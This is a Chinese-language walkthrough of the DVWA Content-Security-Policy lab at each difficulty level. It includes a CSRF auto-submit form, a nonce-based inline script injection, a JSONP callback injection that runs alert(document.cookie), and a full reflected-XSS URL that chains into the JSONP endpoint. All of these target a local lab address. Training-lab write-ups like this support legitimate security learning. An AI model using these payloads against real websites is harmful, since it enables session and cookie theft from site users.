看到標題,是否有點疑惑 CPS 是什麼東東。簡單介紹一下就是瀏覽器的安全策略,若是
標籤,或者是服務器中返回 HTTP 頭中有 Content-Security-Policy
標籤 ,瀏覽器會根據標籤裏面的內容,判斷哪些資源能夠加載或執行。阮一峯老師也有關於CSP 的文章,你們能夠看看php
看回 DVWA。DVWA 中需求也是很簡單的,輸入被信任的資源,就能加載或執行資源了。
html
初級篇,若是不看源碼的話。看檢查器(F12),也能夠知道一些被信任的網站。ajax
其餘的網站,你們應該也比較熟悉。而當中的 pastebin 是什麼網站呢?一個快速分享文本內容的網站
假如文本的內容是一段 js 代碼呢?json
好比是源碼中提示咱們的, 輸入 https://pastebin.com/raw/VqHmJKjr跨域
因此,不該該信任那些能夠自由編輯文件的網頁的瀏覽器
那麼能如何進行攻擊呢? 能夠用 CSRF 吧。安全
造一個惡意的網站,經過發郵件的方式誘導用戶點擊便可。詳情能夠看 CSRF 那一章。服務器
<form action="http://192.168.0.110:5678/vulnerabilities/csp/" id="csp" method="post"> <input type="text" name="include" value=""/> </form> <script> var form = document.getElementById("csp"); form[0].value="https://pastebin.com/raw/VqHmJKjr"; form.submit(); </script>
中級的問題在於使用了 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='
這個標籤,cookie
也就是說若是你輸入app
<script nonc=」TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
是能注入成功的。
這固然也能夠利用 CSRF 手段進行攻擊
高級就改變了形式了,點擊按鈕會獲得答案,而這個答案是用 JSONP 的方式得到的。(經常使用於跨越請求)
並且 cps 也設置爲只信任本身的域名了
Content-Security-Policy: script-src 'self';
那這能有什麼問題呢?
而點擊後發請求的邏輯在 vulnerabilities/csp/source/high.js
中
function clickButton() { var s = document.createElement("script"); s.src = "source/jsonp.php?callback=solveSum"; document.body.appendChild(s); } function solveSum(obj) { if ("answer" in obj) { document.getElementById("answer").innerHTML = obj['answer']; } } var solve_button = document.getElementById ("solve"); if (solve_button) { solve_button.addEventListener("click", function() { clickButton(); }); }
先說下這裏的邏輯是什麼吧。
<script src="http://192.168.0.110:5678/vulnerabilities/csp/source/jsonp.php?callback=solveSum"></script>
這樣的標籤solveSum({"answer":"15"})
, 就能夠調用 high.js 中的solveSum
有點繞。你們應該能理解吧。
但若是有人將 callback 參數改爲 ...callback=alert(document.cookie)//呢?
返回的確實 alert(document.cookie)//({"answer":"15"})
。。。
因此這是一個注入點。
至於如何利用,能夠用同一個級別的 反射型 XSS 攻擊,在 CSRF 那篇也見過這種攻擊的手法
假如我有一個這樣的 js 。
d=document; h=d.getElementsByTagName('head').item(0); s=d.createElement('script'); s.setAttribute('src','/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)//'); h.appendChild(s);
便可完成攻擊
而 xss 攻擊 url 是這樣的
http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cimg%20src=x%20onerror=%22eval(unescape(location.hash.substr(1)))%22%3E#d=document;h=d.getElementsByTagName(%22head%22).item(0);s=d.createElement(%22script%22);s.setAttribute(%22src%22,%20%22/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie);//%22);h.appendChild(s)
去掉轉義是這樣的 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=#d=document;h=d.getElementsByTagName('head').item(0);s=d.createElement('script');s.setAttribute('src','/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)//');h.appendChild(s);
意思就是說,XSS 那裏有個注入點,添加了個圖片,圖片地址錯誤的時候會折斷 url 的哈希路由的部分進行攻擊。具體仍是看下 XSS 和 CSRF 那部分吧
就沒有 url 中的 callback 了,後臺寫死了
<?php $headerCSP = "Content-Security-Policy: script-src 'self';"; header($headerCSP); ?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= " " . $_POST['include'] . " "; } $page[ 'body' ] .= ' <form name="csp" method="POST"> <p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p> <p>1+2+3+4+5=<span id="answer"></span></p> <input type="button" id="solve" value="Solve the sum" /> </form> <script src="source/impossible.js"></script> ';
見識了這些繞過的方式,設置 CSP 還得謹慎點。 JSONP 跨域,其實也挺多安全性問題的。好比一些敏感的信息一不注意就會在惡意網站經過 JOSNP 泄露出去的。